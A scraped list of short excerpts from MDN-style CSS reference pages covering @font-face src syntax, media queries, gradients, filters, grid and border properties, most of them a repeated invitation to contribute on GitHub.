syntax /* <url> values */ src: url(https://somewebsite.com/path/to/font.woff); /* absolute url */ src: url(path/to/font.woff); /* relative url */ src: url(path/to/font.woff) format("woff"); /* explicit format */ src: url('path/to/font.woff'); /* quoted url */ src: url(path/to/svgfont.svg#example); /* fragment identifying font */ /* <font-face-name> values */ src: local(font); /* unquoted name */ src: local(some font); /* name containing space */ src: local("font"); /* quoted name */ /* multiple items */ src: local(font), url(path/to/font.svg) format("svg"), url(path/t...
@font-feature-values - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color-index - CSS: Cascading Style Sheets
<link rel="stylesheet" href="http://foo.bar.com/base.css" /> <link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/color-stylesheet.css" /> specifications specification status comment media queries level 4the definition of 'color-index' in that specification.
device-height - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-height: 799px)" href="http://foo.bar.com/short-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-height' in that specification.
device-width - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-width: 799px)" href="http://foo.bar.com/narrow-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-width' in that specification.
@supports - CSS: Cascading Style Sheets
WebCSS@supports
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
viewport-fit - CSS: Cascading Style Sheets
this descriptor hasn't been added to https://github.com/mdn/data/blob/master/css/at-rules.json yet.
@viewport - CSS: Cascading Style Sheets
WebCSS@viewport
note: see https://github.com/w3c/csswg-drafts/issues/4766 for discussion around @viewport's removal from the standards track.
Alternative style sheets - CSS: Cascading Style Sheets
living standard html living standardthe definition of 'meta http-equiv="default-style")' in that specification.
CSS Animations tips and tricks - CSS: Cascading Style Sheets
margin-left: 0%; } 50% { margin-left: 50%; } 100% { margin-left: 0%; } } <h1 id="watchme">click me to stop</h1> let watchme = document.getelementbyid('watchme') watchme.classname = 'slidein' const listener = (e) => { watchme.classname = 'slidein stopped' } watchme.addeventlistener('click', () => watchme.addeventlistener('animationiteration', listener, false) ) demo https://jsfiddle.net/morenoh149/5ty5a4oy/ ...
Using multiple backgrounds - CSS: Cascading Style Sheets
example in this example, three backgrounds are stacked: the firefox logo, an image of bubbles, and a linear gradient: html <div class="multi-bg-example"></div> css .multi-bg-example { width: 100%; height: 400px; background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)); background-repeat: no-repeat, no-repeat, no-repeat; background-position: bottom right, left, right; } result (if image does not appear in codepen, click the 'tidy' button in t...
Using URL values for the cursor property - CSS: Cascading Style Sheets
for example, the following value would be allowed: cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto; this will first try loading foo.cur.
OpenType font features guide - CSS: Cascading Style Sheets
more about alternates https://www.w3.org/tr/css-fonts-4/#propdef-font-variant-alternates /docs/web/css/font-variant-alternates ligatures (font-variant-ligatures) ligatures are glyphs that replace two or more separate glyphs in order to represent them more smoothly (from a spacing or aesthetic perspective).
Variable fonts guide - CSS: Cascading Style Sheets
this results in more http requests, and more data being downloaded (usually around 20k or more per file).
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
max-width: 400px; display: grid; grid-template-columns: 1fr 2fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media::after { content: ""; display: block; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <div class="image"><img src="https://udn.realityripple.com/samples/89/f993f273dd.png" alt="placeholder"></div> <div class="text">this is a media object example.
Using CSS gradients - CSS: Cascading Style Sheets
<div class="layered-image"></div> div { width: 300px; height: 150px; } .layered-image { background: linear-gradient(to right, transparent, mistyrose), url("https://mdn.mozillademos.org/files/15525/critters.png"); } stacked gradients you can even stack gradients with other gradients.
CSS Overflow - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
Stacking context example 2 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } #div2 { z-index: 2; } #div3 { z-index: 1; } #div4 { z-index: 10; } #div1,#div3 { height: 80px; position: relative; border: 1px dashed #669966; background-color: #ccffcc; padding-left: 5px; } #div2 { opacity: 0.8; position: a...
Stacking context example 3 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } div.lev1 { width: 250px; height: 70px; position: relative; border: 2px outset #669966; background-color: #ccffcc; padding-left: 5px; } #container1 { z-index: 1; position: absolute; top: 30px; left: 75px; } div.lev2 ...
CSS Scrollbars - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
for example, the url http://developer.mozilla.org/en/docs/using_the_:target_selector#example contains the fragment identifier #example.
Using CSS transitions - CSS: Cascading Style Sheets
simply add a transition to the element and any change will happen smoothly: p { padding-left: 60px; } #foo { border-radius: 50px; width: 50px; height: 50px; background: #c00; position: absolute; top: 0; left: 0; transition: transform 1s; } you can play with this here: http://jsfiddle.net/9h261pzo/291/ detecting the start and completion of a transition you can use the transitionend event to detect that an animation has finished running.
CSS values and units - CSS: Cascading Style Sheets
.box { background-image: url("images/my-background.png"); } .box { background-image: url("https://www.exammple.com/images/my-background.png"); } the parameter for url() can be either quoted or unquoted.
Linear-gradient Generator - CSS: Cascading Style Sheets
this.num_points = 0; this.size = 0; this.angle = 0; this.state = false; this.updateonresize(); trackmouse(rotate_point, this.updateaxisangle.bind(this), this.startrotation.bind(this)); container.appendchild(axis); line.addeventlistener('click', this.placegradientpoint.bind(this)); }; gradientaxis.prototype.createsvgarrow = function createsvgarrow(id) { var xmlns = 'http://www.w3.org/2000/svg'; var svg = document.createelementns(xmlns, 'svg'); var path = document.createelementns(xmlns, 'path'); svg.setattribute('class', 'gradient-arrow'); svg.setattribute('width', '25'); svg.setattribute('height', '25'); path.setattribute('fill', '#ccc'); path.setattribute('d', 'm 25,12.5 l 0,0 l 7.5,12.5 l 0,25'); svg.appendchild(path); return svg; }; gr...
align-content - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
align-items - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
align-self - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
all - CSS: Cascading Style Sheets
WebCSSall
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
<angle> - CSS: Cascading Style Sheets
WebCSSangle
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
animation-duration - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
animation-fill-mode - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
animation-iteration-count - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
animation-name - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
animation-play-state - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
animation-timing-function - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
aspect-ratio - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
backdrop-filter - CSS: Cascading Style Sheets
ntage><hue> = <number> | <angle> examples css .box { background-color: rgba(255, 255, 255, 0.3); border-radius: 5px; font-family: sans-serif; text-align: center; line-height: 1; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); max-width: 50%; max-height: 50%; padding: 20px 40px; } html, body { height: 100%; width: 100%; } body { background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172)); background-position: center center; background-repeat: no-repeat; background-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div...
backface-visibility - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
background-clip - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
background-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
background-origin - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
<basic-shape> - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
block-size - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-end-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-end-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-end-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-end - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-start-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-start-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-start-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-block-start - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-bottom-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-bottom-left-radius - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-bottom-right-radius - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-bottom-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-bottom - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-collapse - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-image-outset - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-image-source - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-image-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-end-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-end-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-end-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-end - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-start-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-start-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-start-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-inline-start - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-left-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-left-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-right-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-right-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-spacing - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-top-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-top-left-radius - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-top-right-radius - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-top-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-top-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
border-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
bottom - CSS: Cascading Style Sheets
WebCSSbottom
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
box-decoration-break - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
box-direction - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
box-shadow - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
box-sizing - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
break-after - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
break-before - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
calc() - CSS: Cascading Style Sheets
WebCSScalc
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
caret-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
clamp() - CSS: Cascading Style Sheets
WebCSSclamp
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
clip - CSS: Cascading Style Sheets
WebCSSclip
order { border: dotted; position: relative; width: 536px; height: 350px; } #top-left, #middle, #bottom-right { position: absolute; top: 0; } #top-left { left: 360px; clip: rect(0 175px 113px 0); } #middle { left: 280px; clip: rect(119px 255px 229px 80px); } #bottom-right { left: 200px; clip: rect(235px 335px 345px 160px); } html <p class="dotted-border"> <img src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="original graphic"> <img id="top-left" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to upper left"> <img id="middle" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped towards middle"> <img id="bottom-right" src="https://udn.realityripple.com/samples/8f/15174f3...
color - CSS: Cascading Style Sheets
WebCSScolor
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
column-fill - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
column-rule-color - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
column-rule-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
column-rule-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
column-rule - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
column-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
columns - CSS: Cascading Style Sheets
WebCSScolumns
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
conic-gradient() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
counter-increment - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
counter-reset - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
cross-fade() - CSS: Cascading Style Sheets
= <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples older syntax for cross-fade html <div class="crossfade"></div> css .crossfade { width: 300px; height: 300px; background-image: -webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } result specifications specification status comment css images module...
cursor - CSS: Cascading Style Sheets
WebCSScursor
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
element() - CSS: Cascading Style Sheets
WebCSSelement
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
blur() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
brightness() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
contrast() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
drop-shadow() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grayscale() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
hue-rotate() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
invert() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
opacity() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
saturate() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
sepia() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
<filter-function> - CSS: Cascading Style Sheets
option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector('sel...
fit-content() - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
flex-basis - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
flex-direction - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
flex-flow - CSS: Cascading Style Sheets
WebCSSflex-flow
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
flex-grow - CSS: Cascading Style Sheets
WebCSSflex-grow
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
flex-shrink - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
flex-wrap - CSS: Cascading Style Sheets
WebCSSflex-wrap
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
flex - CSS: Cascading Style Sheets
WebCSSflex
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
float - CSS: Cascading Style Sheets
WebCSSfloat
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-family - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-feature-settings - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-kerning - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-optical-sizing - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-size-adjust - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-size - CSS: Cascading Style Sheets
WebCSSfont-size
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-stretch - CSS: Cascading Style Sheets
html <div class="container"> <p class="condensed">an elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> css /* this example uses the league mono variable font, developed by tyler finck (https://www.tylerfinck.com/) and used here under the terms of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { src: url('https://mdn.mozillademos.org/files/16014/leaguemonovariable.ttf'); font-family:'leaguemonovariable'; font-style: normal; font-stretch: 1% 500%; /* required by chrome */ } .container { border: 10px solid #...
font-synthesis - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-variant-ligatures - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font-variant-position - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-variation-settings - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
font - CSS: Cascading Style Sheets
WebCSSfont
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
gap (grid-gap) - CSS: Cascading Style Sheets
WebCSSgap
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-area - CSS: Cascading Style Sheets
WebCSSgrid-area
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-auto-columns - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-auto-flow - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-auto-rows - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-column-end - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-column-start - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-column - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-row-end - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-row-start - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-row - CSS: Cascading Style Sheets
WebCSSgrid-row
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-template-areas - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-template-columns - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-template-rows - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid-template - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
grid - CSS: Cascading Style Sheets
WebCSSgrid
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
height - CSS: Cascading Style Sheets
WebCSSheight
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
image-orientation - CSS: Cascading Style Sheets
flip ] examples orienting image from image data css #image { image-orientation: from-image; /* can be changed in the live sample */ } html <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="orientation taken from the image"> <select id="imageorientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getelementbyid("imageorientation"); imageorientation.addeventlistener("change", function (evt) { document.getelementbyid("image"...
image-rendering - CSS: Cascading Style Sheets
<div> <img class="auto" alt="auto" src="https://udn.realityripple.com/samples/de/cedd397be3.jpg" /> <img class="pixelated" alt="pixelated" src="https://udn.realityripple.com/samples/de/cedd397be3.jpg" /> <img class="crisp-edges" alt="crisp-edges" src="https://udn.realityripple.com/samples/de/cedd397be3.jpg" /> </div> img { height: 200px; } css .auto { image-rendering: auto; } .pixelated { -ms-interpolation-mode: nearest-n...
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
initial - CSS: Cascading Style Sheets
WebCSSinitial
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
inline-size - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
<integer> - CSS: Cascading Style Sheets
WebCSSinteger
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
isolation - CSS: Cascading Style Sheets
WebCSSisolation
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
justify-content - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
justify-items - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
justify-self - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
left - CSS: Cascading Style Sheets
WebCSSleft
